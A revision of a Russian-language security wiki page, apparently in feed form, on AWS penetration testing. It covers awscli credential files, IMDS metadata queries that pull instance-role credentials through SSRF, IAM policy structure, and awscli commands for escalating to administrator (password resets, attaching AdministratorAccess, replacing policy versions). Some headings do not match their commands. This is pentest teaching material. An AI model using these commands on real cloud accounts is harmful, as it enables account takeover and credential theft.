&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1211</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1211"/>
				<updated>2022-10-07T10:39:59Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Службы */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить пользователя в группу администраторов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name target_group --user-name my_username&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
